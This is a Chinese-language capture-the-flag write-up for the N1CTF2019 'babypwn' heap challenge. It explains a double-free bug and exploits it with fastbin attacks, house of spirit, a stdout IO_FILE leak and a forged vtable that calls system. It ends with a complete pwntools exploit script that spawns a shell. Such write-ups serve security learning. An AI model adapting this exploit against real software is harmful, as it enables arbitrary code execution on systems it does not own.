N1CTF2019——babypwn WP

保护

在这里插入图片描述

  • 我的测试环境为ubuntu16.04.1

分析

  • 添加操作中限制只能添加10个结构体:
    N1CTF2019——babypwn WP_第1张图片
  • 结构体为:
struct Staff{
	char Name[0x10];
	char *Description;
	int  Description_Size;
};
  • 漏洞存在删除操作中:
    N1CTF2019——babypwn WP_第2张图片
  • 总的二进制程序逆向分析到这,下面来考虑怎么利用。

利用

  • 这道题和warmup那道题有点相似,但因为这是glibc2.23,所以只能用fastbin attack来攻击IO_FILE,泄露内存;再利用一次fastbin attack攻击IO_FILE或者malloc_hook来getshell。
  • 但实际操作之后发现,只有9个结构体可控是完全不能达到getshell的目的,于是考虑要用一个结构体来清空整个结构体列表。
  • 比较简单的方法就是先fastbin attack结构体列表,然后利用house of sprit技术来得到一个可控的结构体列表指针。
  • fastbin attack结构体列表很简单,既然要用到house of sprit,就要伪造如下图所示的chunk:
    N1CTF2019——babypwn WP_第3张图片
  • 说明一下,这么构造的理由。首先注意到程序删除操作中,释放的是结构体的Description成员,偏移为0x10,这里的0x602050相当于结构体的基址0x602050+0x10=0x206060,也就是Description指针指向的内存,它的实际大小为0x50。为什么next size我设定为0x71?这里先卖个关子。
  • 然后就是正常的做法,分配3个结构体,大小为0x60、0x90、0x60,顺序很重要,这是为了尽量保证后面构造fastbin loop时,只有低8位不同
  • 释放0x90的chunk就会出现unsortbin chunk,再添加一个0x60的chunk就会包含有libc中的地址修改低16位stdout附近低16位,构造fastbin loop
  • 再添加一个0x60大小的chunk,修改低16位为0就会指向上一块0x60大小的chunk head。以上过程的代码描述:
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#0
Add(p64(0)+p64(0x51),0x90,p64(0)+p64(0x51))#1  
Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#2

Del(1)
Add(p64(0)*2,0x60,p16(0x25dd))#4
Del(2)
Del(0)
Del(2)
Del(0)
Add(p64(0)*2,0x60,'\x00')#5
  • 这里多出一个 Del(0) 是为了消除前面释放的0x90大小的chunk后带来的影响,具体细节自己调试便知!
  • 此时剩余可分配的结构体数量已不够我们后续的使用,所以需要清空一次列表,后续部分的利用就很常规了,只要注意清空列表即可,详见EXP。
  • 在拿到libc的基址之后可以fastbin attack malloc_hook,可是我本机上的one_gadget均不符合使用条件,这使我像是吃了土一样难受!
  • 只好利用IO_FILE来getshell,于是我选取了0x6020b0来伪造vtble,因此才有了一开始伪造chunk的时候把next size设为0x71这一出。
  • 总而言之,过程十分周折!

EXP

#encoding=utf-8
from pwn import*

#context.log_level=1
def Add(name,size,data):
    p.sendlineafter('choice:','1')
    p.sendafter('name:',name)
    p.sendlineafter('size:',str(size))
    p.sendafter('Description:',data)
def Del(idx):
    p.sendlineafter('choice:','2')
    p.sendlineafter('index:',str(idx))

baby_list=0x0000000000602060
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

while True:
    try:
        p=process('./BabyPwn')

        Add('\n', 0x60, '\n')   # 0
        Add('\n', 0x60, '\n')   # 1
        
        Del(0)
        Del(1)
        Del(0)
        Add(p64(0x60203d),0x60,p64(0x60203d))     #5
        Add('\n',0x60,'\n')
        Add('\n',0x60,'\n')
        Add('\n',0x60,'\0'*3+p64(0x602050)+p64(0x51)+p64(0x602060)+p64(0)+p64(0)*7+p64(0x71))
        Del(-2)#得到一个结构体列表的指针在下次分配0x40大小时就能被控制

        Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#0
        Add(p64(0)+p64(0x51),0x90,p64(0)+p64(0x51))#1  
        Add(p64(0)+p64(0x51),0x60,p64(0)+p64(0x51))#2

        Del(1)
        Add(p64(0)*2,0x60,p16(0x25dd))#4
        Del(2)
        Del(0)
        Del(2)
        Del(0)
        Add(p64(0)*2,0x60,'\x00')#5
        #清空结构体列表
        Add('\n',0x48,p64(0x602060)+p64(0)+p64(0)*7+p64(0x51))#6
        Del(-2)

        Add('\0',0x60,'\0')#0
        Add('\0',0x60,'\0')#1
        Add('\n',0x60,'\n')#2
        Add('\n',0x60,'\0'*0x33+p32(0xfbad1880)+';sh;'+p64(0)*3+'\x88')#3
        leak=p.recvuntil('OK!')
        if len(leak)<8:
            raise EOFError
        libc_base=u64(leak[0:6].ljust(8,'\0'))-libc.sym['_IO_2_1_stdin_']
        stdout=libc_base+libc.sym['_IO_2_1_stdout_']
        success("libc_base:"+hex(libc_base))
        success("stdout:"+hex(stdout))

        Del(0)
        Del(1)
        Del(0)

        Add('\n',0x60,p64(0x6020a0))#4
        Add('\n',0x60,'\n')#5
        Add('\n',0x60,'\n')#6
        Add('\n',0x48,p64(0)*8)#7 清空结构体列表

        Add('\n',0x60,p64(0)*2+p64(libc_base+libc.sym['system'])*10)#0 构造 vtable
        Add('\0',0x60,'\0')#1
        Add('\0',0x60,'\0')#2

        Del(1)
        Del(2)
        Del(1)

        Add('\n',0x60,p64(stdout+157))#3
        Add('\n',0x60,'\n')#4
        Add('\n',0x60,'\n')#5
        Add('\n',0x60,'\0'*3+p64(0)*5+p64(0x6020b0))#6
        #gdb.attach(p,'x/30gx '+str(0x0000000000602040)+'\nheap chunks\nheap bins')
        p.interactive()
        exit(0)
    except EOFError,e:
        p.close()

总结

  • 此题正好可以与warmup那一题做个比较。
  • 学到了怎么灵活应用攻击手段,怎么构造堆。

你可能感兴趣的:(漏洞挖掘与利用)